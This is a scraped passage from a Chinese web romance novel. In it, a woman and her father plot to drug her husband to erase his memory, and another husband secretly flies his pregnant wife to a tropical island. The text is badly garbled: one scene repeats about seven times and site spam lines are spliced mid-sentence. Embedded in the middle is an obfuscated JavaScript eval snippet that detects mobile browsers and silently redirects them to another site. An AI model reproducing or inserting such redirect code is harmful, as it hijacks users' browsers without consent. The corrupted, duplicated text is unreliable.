而林舒薇……方才她眼中那一闪而过的恐慌没有逃过他的眼睛。 如果救命之恩从一开始就掺杂了别的东西…… 周时越的眼神彻底冷了下来。 …… 与此同时回到周家别墅的林舒薇反锁了卧室的门手指颤抖地拨通了父亲的电话。 “爸!出事了!”电话一接通她就带着哭腔急急说道“周时越他……他今天在飞机上突然很不舒服送到医院后看我的眼神完全不一样了!我怀疑……他是不是想起来了!” 电话那头沉默了片刻传来林父低沉而沉稳的声音“薇薇别慌。具体怎么回事慢慢说。” 林舒薇语无伦次地将医院里的情况描述了一遍重点强调了周时越的不对劲。 “爸他以前就算记忆不清对我也不是这样的!他一定是想起岑予衿那个**了!怎么办?我们怎么办?你说过有办法让他永远想不起来的!” “冷静点!”林父呵斥了一声“自乱阵脚才是大忌。首先他未必是完全恢复可能只是受到刺激触发了某些记忆片段。 其次就算真想起来那又怎么样?救命之恩是实打实的你们三年的夫妻也是实打实的现在还有了孩子 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“怕什么?有爸爸在。”林父语气放缓,带着安抚,“记住,你现在最大的筹码,就是肚子里的孩子,还有你这三年‘不离不弃’照顾失忆丈夫的深情形象。周时越就算心里有疙瘩,短时间内也绝不会对你怎么样。稳住,一切等孩子生下来再说。到时候,血缘的纽带,加上周家老爷子盼重孙的心情,你的位置就稳了。” “我知道……”林舒薇小心翼翼的抚摸着自己的肚子,声音就没松懈下来。 “至于你说的他恢复记忆这个问题,别担心,交给我,明天我让人把药送过去,只要你让他吃了那药,他的记忆会永远消失。” “真的吗?”林舒薇的语气有些激动。 “当然了,爸爸什么时候骗过你?” 听着父亲笃定的声音,林舒薇狠狠松了口气,“谢谢爸爸~” 挂断电话,林舒薇靠在门板上,缓缓滑坐在地。 父亲的话让她稍微镇定了一些。 不,不行! 周时越是她的! 周太太的身份,是她的! 谁也不能抢走! 林舒薇的眼神逐渐变得怨毒而坚定。 她不能坐以待毙。 第202章 我们私奔了 檀月山庄! 这几天自家老婆也不知道咋了,心情很不好。 每天板着张小脸,就躺在阳台的摇椅里,轻轻摸着圆滚滚的肚子。 那样子看起来有些奇怪。 他在网上搜索了一下,很多人都说有可能是孕期焦虑。 他又去咨询了医生,医生给出的建议也是出去多走走,不要老闷在家里,对孕妇和宝宝都不好。 和她商量吧,她老是顾虑这个,顾虑那个的。 商量清楚再走显然是不可能的。 他打算先斩后奏。 岑氏那边他知道,她只需要在家里办公,已经请了专人打理。 陆家那边陆沉奕接触不到京耀那边的人也不着急。 京耀在华国的公司年前才能落成。 她现在快7个月,预产期只有两个多月了。 月子中心什么的都定好了,现在能出去玩就出去多玩玩。 多拍点照片,放松一下心情,月份大了之后可就真的出不去了! 陆京洲蹲在床边,纠结了许久,轻轻的拍了拍她的脸,“笙笙~” 岑予衿一点动静都没有。 “老婆!” “宝宝~! “周芙笙~” 一连叫了好几个称呼,一点反应都没有。 最后那个声音稍微大了一些,床上的女孩似乎被他叫烦了,轻哼着往他怀里钻。 陆京洲看着她一点防备心都没有,有些无奈的摇了摇头。 这么能睡,要是睡着了,被人抱走了,卖了都不知道。 不过……老婆越看越可爱! 陆京洲看着像小猫一样蜷进自己怀里的岑予衿,心软得一塌糊涂。 他轻轻调整姿势,让她靠得更舒服些,然后低下头,用嘴唇碰了碰她微蹙的眉心,声音放得更柔,带了点诱哄的味道,“笙笙,醒醒,老公带你去个好地方。” 岑予衿睡得迷迷糊糊,只感觉耳边有温热的气息拂过,痒痒的,下意识地抬手去推,咕哝道,“别闹……困……” 陆京洲看着怀里呼吸逐渐均匀绵长的岑予衿,唇角勾起一抹得逞的温柔笑意。 要的就是她睡熟。 他动作极其轻缓地将她打横抱起,像捧着一件稀世易碎的珍宝。 岑予衿只是在他怀里无意识地蹭了蹭,寻了个更舒服的姿势,便沉沉睡去,全然不知自己正被“转移”。 卧室门悄无声息地打开又合上。 早已等候在外的管家 和佣人垂首静立,看着陆京洲抱着沉睡的岑予衿,连大气都不敢出。 陆京洲一路稳稳地抱着她,走下楼梯,穿过静谧的客厅,来到了车库。 加长版的豪华轿车后座已被提前布置过,柔软的羊绒毯铺着,温度调得恰到好处。 陆京洲小心翼翼地将岑予衿安置在座位上,让她枕着自己的腿,又细心地为她盖好薄毯。 “开慢点,稳一点。”他低声吩咐司机,“不要吵醒她。” 车子在夜色中平稳滑出檀月山庄,驶向城郊的私人机场。 窗外霓虹渐稀,星光渐亮,岑予衿从始至终都没有醒。 只是在偶尔的路面微簸中,会轻轻蹙一下眉,陆京洲便立刻用手掌护住她的头侧,轻声安抚着她的情绪。 到达机场,专属的通道早已开启。 陆京洲抱着岑予衿,直接登上了自己私人飞机。 机舱内同样温暖静谧,特意布置的卧舱柔软舒适。 他将她轻轻放在宽敞的床上,脱去她的外套和鞋子,自己则坐在床边,握着她的手。 飞机引擎发出低沉的轰鸣,缓缓滑行、起飞。 轻微的失重感让岑予衿的睫毛颤了颤,陆京洲立刻俯身在她耳边柔声安抚,“没事,没事,笙笙,睡吧,老公在。” 也许是他的气息太过令人安心,岑予衿再次沉入梦乡。 飞行平稳后,空乘人员悄声送来温水和点心。 陆京洲只是摆摆手,目光始终没有离开床上安睡的人。 他看着她宁静的睡颜,圆润的腹部随着呼吸轻轻起伏,心中被前所未有的满足感和一丝隐秘的期待填满。 这可是他们俩第一次一块出国旅行,他一定要让她舒舒服服的。 十几个小时的航程在岑予衿的沉睡中悄然流逝。 飞机开始下降,透过舷窗可以看到下方蔚蓝无际的海洋和点缀其中的翡翠色岛屿时。 陆京洲才轻轻摇了摇她的手。 “笙笙,睡饱了没,该醒醒了。” 岑予衿迷迷糊糊地睁开眼,脸上还有被打扰的不耐,伸出手搂住他的脖子,哼哼唧唧的,“你不爱我了是不是?从来都是让我睡到自然醒的,今天为什么要叫我起床?” “怎么会不爱你?你自己看看。” 她茫然地眨了眨眼,一时有些分不清是梦是醒,顺着她的的视线看了过去。 “我们……在哪儿?”她的声音带着刚睡醒的沙哑和懵懂。 陆京洲笑着亲了亲她的额头 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995040|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 ,指向窗外那片越来越近的的岛屿。 “欢迎来到我们的避风港,我亲爱的陆太太。” 他的眼睛亮如星辰,“未来一个多月,这里只有我们,阳光、沙滩、海浪,还有你最爱的水果和宁静。医生说,你需要彻底放松,所以……我们私奔了。” 岑予衿彻底清醒了,她撑起身子,望向窗外那片美得不真实的碧海蓝天,又回头看看陆京洲笑得像只偷腥成功的猫的脸。 一时间,孕期积攒的烦闷、焦虑、种种说不清道不明的低落情绪,仿佛都被这扑面而来的海风与阳光吹散了不少。 “你……你居然……”她不知该气还是该笑,最后只是伸手捏了捏他的脸,“阿洲,你真是……先斩后奏的典范!” 陆京洲握住她的手,贴在脸颊,眼神温柔得能溺**,“只要我的笙笙能开心起来,当什么典范都行。接下来,你只管负责享受,和宝宝一起,好不好?” “好!” 飞机平稳地降落在岛屿的私人停机坪。 舱门打开,湿热却清新的海风扑面而来,带着热带花卉的芬芳。 远处,洁白的沙滩与渐变色的海水相接,一栋造型别致的海滨别墅掩映在棕榈树丛中。 岑予衿被陆京洲搀扶着走下舷梯,脚踩在柔软的细沙上,看着眼前这片只为她一人展开的秘境,心情很好。 “喜欢吗?”陆京洲从身后轻轻环住她,手掌温柔地覆在她隆起的腹部。 岑予衿靠进他怀里,点了点头,声音轻轻的,却带着久违的松快,“嗯,好喜欢,谢谢……” 谢谢你的在意,你的费心,你的……先斩后奏~ 陆京洲收紧了手臂,将下巴搁在她发顶,望向无垠的碧海蓝天,心中一片安宁。 第203章 我有什么没看过的? 陆京洲搀扶着岑予衿踩着细软温热的细沙往海滨别墅走。 海风拂起她鬓边的碎发带着清甜的花香。 岑予衿忍不住抬手拢了拢头发眼底满是雀跃脚步都轻快了些却又被陆京洲稳稳按住腰侧。 “慢着点脚下沙软别崴到脚。” 陆京洲的语气里满是叮嘱手掌轻轻托着她的后腰生怕她有半点闪失“肚子沉累了就跟我说我抱你。” 岑予衿回头看他眉眼弯成了月牙刚睡醒的惺忪早已褪去只剩满心欢喜“我哪有那么娇气才七个月而已走几步路还是没问题的。而且……一抱抱三个你能抱得动吗?” “在我这儿允许你娇气允许你目中无人允许你像个女王一样指挥我。” 陆京洲低头蹭了蹭她的发顶声音宠溺得不像话“别说七个月双胞胎就是9个月三胞胎我也抱得动。” 岑予衿显然没想到他会这么说“那么多我可生不动。” 陆京洲笑着捏了捏她的鼻子“嗯我也舍不得让你受3份苦。” “这别墅是早就备好的里面全按你的喜好布置的还有你能穿的小裙子都是宽松款不勒肚子的。” 岑予衿眼睛一亮语气里满是惊喜“真的?你还特意给我准备小裙子了?怀孕之后大多时间都是穿宽宽松松的家居服好久没穿漂亮小裙子了。” “我的笙笙就算怀了孕也得是最好看的穿什么都好看。” 陆京洲推开别墅的白色的雕花木门暖融融的风裹着室内淡淡的香薰味飘出来简约又精致的装修风格处处透着用心。 “你看衣帽间在那边我让佣人把裙子都挂好了全是你喜欢的浅色系面料都是最软的真丝不会磨皮肤。” 岑予衿被他牵着走进衣帽间一眼就看到挂满了半面墙的裙子。 鹅黄色、奶白色、浅杏色都是宽松的A字版型。 裙摆飘飘领口和袖口还缀着精致的蕾丝完全不挑孕期的身材。 她伸手摸了摸其中一条鹅黄色的吊带长裙面料如他所说丝滑亲肤眼底满是欢喜“阿洲你也太会挑了吧这条也太好看了 “喜欢就好。”陆京洲帮她拿起那条裙子又递过一件同色系的薄款防晒开衫“海边太阳烈穿吊带再搭个开衫既好看又不晒。我帮你换?还是你自己来?” 岑予衿脸颊微红轻轻推了他一下“我自己能换你出去 听说看这本书的人都是很幸运的,分享后你的运气会更棒 等我不许偷看。” “我有什么没看过的?”陆京洲低笑出声眼底满是打趣却还是听话地退了出去顺手带上了门。 “有需要就叫我别自己逞强穿不上就喊我帮忙。” 衣帽间里岑予衿小心翼翼地换好裙子宽松的裙摆刚好遮住隆起的腹部衬得她皮肤白皙气色也好了不少。 她拉开门走出去陆京洲正靠在沙发上等着抬头看到她的瞬间眼睛都亮了快步走上前伸手扶住她的胳膊。 “真好看。”陆京洲眼底满是惊艳指尖轻轻拂过她裙摆的蕾丝花边语气认真得不像话“我的陆太太不管什么时候都这么好看。” 岑予衿被他夸得有些不好意思抬手挽住他的胳膊“就你会说好听的。接下来我们要去哪儿?肚子有点饿了想吃点当地的特色小吃。” “不急先涂防晒”陆京洲牵着她走到客厅的沙发旁让她坐下转身从旁边的柜子里拿出一支温和的孕妇可用防晒挤在手心搓匀。 “海边紫外线强你皮肤嫩又怀着宝宝可不能晒伤了我给你涂保证涂得均匀不漏一点地方。” 岑予衿乖乖坐好仰着头任由他动作陆京洲的指尖温热动作轻柔得不像话。 从额头到脸颊再到脖颈、手臂一点点仔细涂抹连耳后都没落下。 “你稍微重点呀!”岑予衿忍不住嘟囔指尖轻轻勾了勾他的手腕“弄得我痒痒的。” “怕痒?那我稍微重一点点嗷。”陆京洲放慢动作眼神专注语气却带着笑意。 “谁让你皮肤这么敏感稍微用点力我都怕弄疼你。对了 “知道啦听你的”岑予衿乖乖低下头让他涂脖子后面感受着他掌心的温度心里暖融融的用自己的头蹭他“阿洲你怎么什么都想到了?连孕妇能用的防晒都备好了。” “那是要带你出来肯定要把所有事情都安排妥当。” 陆京洲涂完手臂又拿起防晒小心地给她涂手背“医生说你不能接触刺激性的东西这些防晒、护肤品全是我亲自挑的无添加无香精绝对安全。涂好了你试试不油吧?” 岑予衿抬手摸了摸自己的脸清爽不黏腻忍不住点头“不油还挺舒服的你也涂一点啊。” “我不用男人晒黑点没事”陆京洲笑着把防晒收起来伸手扶她起身又仔细理了理她的开衫。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “主要是你,不能晒着。现在防晒涂好了,衣服也换好了,咱们去吃东西,附近有个小集市,全是当地的特色小吃,有你爱吃的椰汁西米露,还有新鲜的热带水果,全是刚摘的,特别甜。” 岑 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岑予衿停下脚步,转身看着他,眼底带着些许愧疚,还有满满的感动。 “对不起啊,阿洲,之前我就是心里莫名的烦躁,总觉得担心这担心那,怕宝宝发育不好,怕生完孩子之后状态变差,还怕耽误你工作,所以就一直闷闷不乐的,也没跟你好好说。” “傻瓜,跟我说什么对不起。”陆京洲伸手把她搂进怀里,手掌轻轻覆在她的腹部,动作温柔得能溺**。 “怀孕辛苦的是你,我不能替你分担,只能多替你着想,你有任何情绪都可以跟我说,或者是发泄在我身上,开心的不开心的,都别憋在心里。宝宝很健康,每次产检都好好的,你也好好的,我工作再忙,也永远有时间陪你,你和宝宝,才是我最重要的事。” 岑予衿靠在他怀里,听着他沉稳有力的心跳声,鼻尖微微发酸,抬手搂住他的腰。 “我知道了,以后我有什么事都跟你说,不自己憋着了。这里真的好舒服,有海有风,还有你陪着,我太喜欢这里了。” “喜欢咱们就多待些日子,”陆京洲低头亲了亲她的额头,松开她之后,依旧牢牢牵着她的手,“走,去吃西米露,再晚了,新鲜的椰子就被别人抢光喽,还有烤椰子片,香香脆脆的,你肯定爱吃。” 岑予衿被他说得来了兴趣,笑着点头,“好呀好呀,快走快走,我都等不及了。” 此时国内已经乱了套,可是远在国外的他们和一切都没有任何关系了。 第204章 连窗外的风声都变得急促起来! 海风穿过敞开的雕花木门,携着阵阵海浪声涌**内。 岑予衿被陆京洲牵着,脚步轻快地沿着通往集市的小径走着,两旁是摇曳的棕榈树和不知名的热带花卉,空气里满是咸湿又清新的气息。 集市果然不远,转过一个弯,喧闹的人声和食物香气便扑面而来。 小小的广场上摆满了各色摊位,新鲜水果堆积如山,晶莹剔透的西米露在玻璃缸里晃动,烤海鲜的香气混着椰子清甜,让人食指大动。 “在这儿等我,别乱跑。”陆京洲将岑予衿安置在一处阴凉的木椅上,仔细看了看四周,确认很安全才离开,“我去买,很快回来。” 岑予衿乖乖点头,目光却早已被不远处那摊现开椰子、现场制作西米露的摊贩吸引。 她看着陆京洲快步走过去,高大的背影在人群中格外显眼。 找男人找帅的这句话是一点没错。 很快他便端着两个插着吸管的青椰和一大碗点缀着西柚粒的椰汁西米露回来。 “先喝口椰子水,新鲜。”陆京洲将吸管送到她嘴边,另一只手稳稳端着西米露碗。 岑予衿就着他的手吸了一大口,清甜冰凉的液体瞬间润泽了喉咙,她满足地眯起眼,“好甜!” 陆京洲看着她餍足的模样,眼里的笑意几乎要溢出来。 他让她捧着椰子慢慢喝,自己则用小勺舀起西米露,递到她唇边,“尝尝这个,少糖的,不腻。” 软糯的西米混合着醇厚椰甜在口中化开,岑予衿眼睛更亮了,“好吃!” “慢点吃,都是你的。”陆京洲耐心地一勺一勺喂她,偶尔用纸巾轻轻擦去她嘴角的痕迹,自己却一口没动,只专注地看着她。 吃完甜品,陆京洲又变戏法似的,从另一个袋子里拿出用芭蕉叶包着的烤椰子片。 薄薄的椰子片烤得金黄焦脆,撒了一点点细盐,咬下去咔嚓一声,满口椰香,“这个当零嘴,不占肚子,等下还有别的。” 他牵着她,像个最熟练的导游,穿梭在各个摊位间。 新鲜剥好的红毛丹、山竹,裹着辣椒盐的青木瓜丝……每样都只买一点点,让岑予衿尝个新鲜。 遇到人多的地方,他总是先用身体护着她,温声提醒,手掌始终稳稳地扶在她的腰后。 吃饱喝足,日头已微微西斜。 陆京洲却没急着带她回别墅,而是领着她沿着海岸线往另一侧走去。 “我们去哪儿?”岑予衿好奇地问。 “秘密。”陆 京洲神秘地眨眨眼,脚步却放得更缓,配合着她的步伐。 绕过一片茂密的热带灌木丛,眼前豁然开朗。 那是一处小小的、被礁石半环抱的宁静浅湾,沙滩格外洁白细软,海浪也比别处温柔。 而最让岑予衿惊讶的是,沙滩上竟支着一顶洁白的纱帐,帐内铺着厚厚的软垫和靠枕,旁边小几上摆着冰镇果汁和切好的水果。 “这是……”岑予衿惊喜地捂住嘴。 “下午茶,加……秘密基地。”陆京洲扶着她走进纱帐坐下,海风穿过轻纱,带来凉爽,“我看你总喜欢在阳台的小沙发上窝着看书,就想,在海边看应该更舒服。这里晒不到,风也刚好,累了可以直接躺下休息。” 岑予衿靠进柔软的垫子里,拿起那本书,心里涨满了甜,“你什么时候准备的?” “你午睡的时候。”陆京洲在她身边坐下,让她能舒舒服服地靠着自己,然后拿起一杯果汁,插好吸管递给她,“怎么样?” “喜欢得不得了。”岑予衿依偎着他,翻开书页,耳边是规律的海浪声,鼻尖是爱人身上令人安心的气息,还有果汁的清甜。 她忽然觉得,之前所有的焦虑和阴霾,已经彻底被这片海洗涤的干干净净了。 “累了就说,带你回去休息?” “不累,再待一会儿,这里太舒服了。”她摇摇头,贪恋这一刻的宁静。 陆京洲也不勉强,调整了一下姿势,让她靠得更舒服,大手有一下没一下地轻抚着她的手臂,“眯会儿吧,我在这儿。” 有点累,但是睡不着! 兴奋得睡不着。 “阿洲,你为什么能想得那么周到?” 陆京洲语气里满是骄傲,“一个男人要是不知道自己老婆想要什么,不会满足自己老婆想要的一切,那他就不该有老婆!” 岑予衿被他这理直气壮又带着点孩子气的大道理逗笑了,抬手戳了戳他的脸颊,“哪学的,没嫁给你之前,怎么不知道你这么会说话?” “本来就是,我自己琢磨的。不会哄老婆开心,养不起老婆,那就别娶。”陆京洲捉住她的手指,轻轻拢在掌心,语气却认真起来。 “既然娶了那就当成小祖宗宠着,无条件的宠。” “笙笙,我以前或许不懂,但现在懂了。把你放在心上,你的喜怒哀乐、一举一动,自然就成了我最重要的事。想让你开心,想让你舒服,想把所有好的东西都捧到你面前……这些念头,根本不需要刻意去想,它们自己就会冒出来,然 后我就知道该怎么做了。” 海风轻柔,纱帐微拂。 岑予衿靠在他肩上,看着远处海天一色的美景,心里软得一塌糊涂。 陆京洲低笑,胸腔的震动温柔地传递给她,“把我总结出来的哄老婆技巧分享给你听听,想不想听?” 岑予衿重重的点了点头,“想听。” “老婆得宠着,哄着,供着!” “老婆说的每一句话都是对的!” “老婆不开心,老公的问题!” “老婆被欺负,三秒钟不出现可以换老公了!” “老婆上一秒被不长眼的欺负,下一秒拳头就该落他脸上,管他男的女的往死里打就对了!” “油嘴滑舌。”岑予衿嘴角却止不住地上扬。 “笙笙,我不是油嘴滑舌,我说到做到。”陆京洲的声音让她莫名心安,“我绝对绝对不会让别人欺负你。” 岑予衿100%相信! 陆京洲安排好了国内的一切,和她玩了好几个城市! 整整一个月,一点国内的消息都没有收到。 岑予衿状态是肉眼可见的变好了,每天都笑眯眯的。 小脸都圆了一圈。 一开始的时候,她还担心自己变胖了不好看,不敢吃。 可是架不住有一个非常会提供情绪价值的老公。 一日三餐算好了卡路里,让她吃饱吃好又不会吃胖。 晚饭后还会带她去散步。 回到家里雷打不动的给她按摩,涂妊娠油。 离预产期已经不到一个月了,不回国老太太已经要拿刀过来**了! 两人这才定了回国的时间。 “回去就要被老太太盯着补身子了,想想都觉得幸福。” 岑予衿往他身边挪了挪,靠着他的肩膀,声音软糯,“这一个月真的好开心,没有烦心事,就跟着你到处玩。” “以后每年都带你出来,等小家伙出生,我们一家四口一起,想去哪就去哪。”陆京洲收紧手臂,小心翼翼地护着她的孕肚,不让她被夜风着凉,“累了就回房睡,露台风大,别吹久了。” 岑予衿点点头,被陆京洲半扶半抱地挪回房间。 民宿的房间很宽敞,木质的地板踩上去软软的,床头摆着她喜欢的茉莉花,空气中还飘着淡淡的香薰味,是助眠的薰衣草香。 陆京洲帮她掖好被角,又仔细检查了一遍房间里的防滑垫、夜灯,确认所有可能磕碰到的地方都做了防护,才在她身边躺下。 他的手臂轻轻环着她的腰,避开了她的孕肚,掌心稳稳地托着她的后背,让她睡得更安稳些。 岑予衿靠在他怀里,听着他沉稳有力的心跳声,鼻尖萦绕着他身上清冽的雪松味,很快就有了困意,迷迷糊糊间便坠入了梦乡。 夜半时分,万籁俱寂,只有窗外偶尔传来几声海浪拍岸的轻响。 岑予衿睡得正沉,忽然感觉到身下传来一阵轻微的晃动,像是有人在轻轻摇晃床板。 她皱了皱眉,以为是自己的错觉,翻了个身想继续睡,可下一秒,晃动骤然变得剧烈起来。 木质的地板发出咯吱咯吱的声响,墙上的挂画剧烈摇晃。 床头柜上的水杯哗啦一声摔在地上,碎裂的声响刺破夜的宁静。 连窗外的风声都变得急促起来! 后我就知道该怎么做了。” 海风轻柔,纱帐微拂。 岑予衿靠在他肩上,看着远处海天一色的美景,心里软得一塌糊涂。 